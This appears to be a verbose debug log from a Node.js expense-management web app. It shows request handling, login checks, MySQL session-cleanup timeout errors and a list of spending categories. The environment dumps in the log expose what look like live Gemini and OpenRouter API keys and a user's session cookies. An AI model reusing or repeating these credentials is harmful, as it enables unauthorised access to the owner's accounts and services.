    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.172.79.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T07:35:26.963Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.172.79.128',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.172.79.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-23T07:51:51.247Z server-connect:router Serving templateView /
2025-12-23T07:51:51.247Z server-connect:app Executing action step identify
2025-12-23T07:51:51.247Z server-connect:app options: { provider: 'security' }
2025-12-23T07:51:51.247Z server-connect:auth No login cookie found
2025-12-23T07:51:51.247Z server-connect:output identity: false
2025-12-23T07:51:51.247Z server-connect:app Executing action step restrict
2025-12-23T07:51:51.247Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T07:51:51.248Z server-connect:output restrict: undefined
2025-12-23T07:51:51.366Z server-connect:router Serving templateView /login
2025-12-23T07:51:51.366Z server-connect:app Executing action step identify
2025-12-23T07:51:51.366Z server-connect:app options: { provider: 'security' }
2025-12-23T07:51:51.366Z server-connect:auth No login cookie found
2025-12-23T07:51:51.366Z server-connect:output identity: false
2025-12-23T07:51:51.366Z server-connect:router Render template layouts/authentication
2025-12-23T07:51:51.366Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.172.79.128',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T07:51:51.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.172.79.128',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.172.79.128',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 08:06:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 08:06:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 08:13:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 08:13:54' as DATETIME)"
}
2025-12-23T08:14:06.017Z server-connect:router Serving templateView /
2025-12-23T08:14:06.018Z server-connect:app Executing action step identify
2025-12-23T08:14:06.018Z server-connect:app options: { provider: 'security' }
2025-12-23T08:14:06.018Z server-connect:auth No login cookie found
2025-12-23T08:14:06.018Z server-connect:output identity: false
2025-12-23T08:14:06.018Z server-connect:app Executing action step restrict
2025-12-23T08:14:06.018Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T08:14:06.018Z server-connect:output restrict: undefined
2025-12-23T08:14:06.139Z server-connect:router Serving templateView /login
2025-12-23T08:14:06.140Z server-connect:app Executing action step identify
2025-12-23T08:14:06.140Z server-connect:app options: { provider: 'security' }
2025-12-23T08:14:06.140Z server-connect:auth No login cookie found
2025-12-23T08:14:06.140Z server-connect:output identity: false
2025-12-23T08:14:06.140Z server-connect:router Render template layouts/authentication
2025-12-23T08:14:06.140Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '13.217.123.200',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T08:14:06.139Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '13.217.123.200',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '13.217.123.200',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 08:14:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 08:14:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-23 09:19:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-23 09:19:54' as DATETIME)"
}
2025-12-23T09:48:49.611Z server-connect:router Serving templateView /
2025-12-23T09:48:49.612Z server-connect:app Executing action step identify
2025-12-23T09:48:49.612Z server-connect:app options: { provider: 'security' }
2025-12-23T09:48:49.612Z server-connect:output identity: 1
2025-12-23T09:48:49.612Z server-connect:app Executing action step restrict
2025-12-23T09:48:49.612Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T09:48:49.614Z server-connect:output restrict: undefined
2025-12-23T09:48:49.614Z server-connect:app Executing action step restrict
2025-12-23T09:48:49.614Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-23T09:48:49.614Z server-connect:output restrict: undefined
2025-12-23T09:48:49.614Z server-connect:router Render template layouts/main
2025-12-23T09:48:49.614Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-23T09:48:50.372Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-23T09:48:50.372Z server-connect:app Executing action step identify
2025-12-23T09:48:50.372Z server-connect:app options: { provider: 'security' }
2025-12-23T09:48:50.373Z server-connect:output identity: 1
2025-12-23T09:48:50.373Z server-connect:app Executing action step restrict
2025-12-23T09:48:50.373Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-23T09:48:50.373Z server-connect:output restrict: undefined
2025-12-23T09:48:50.373Z server-connect:app Executing action step select
2025-12-23T09:48:50.373Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-23T09:48:50.377Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
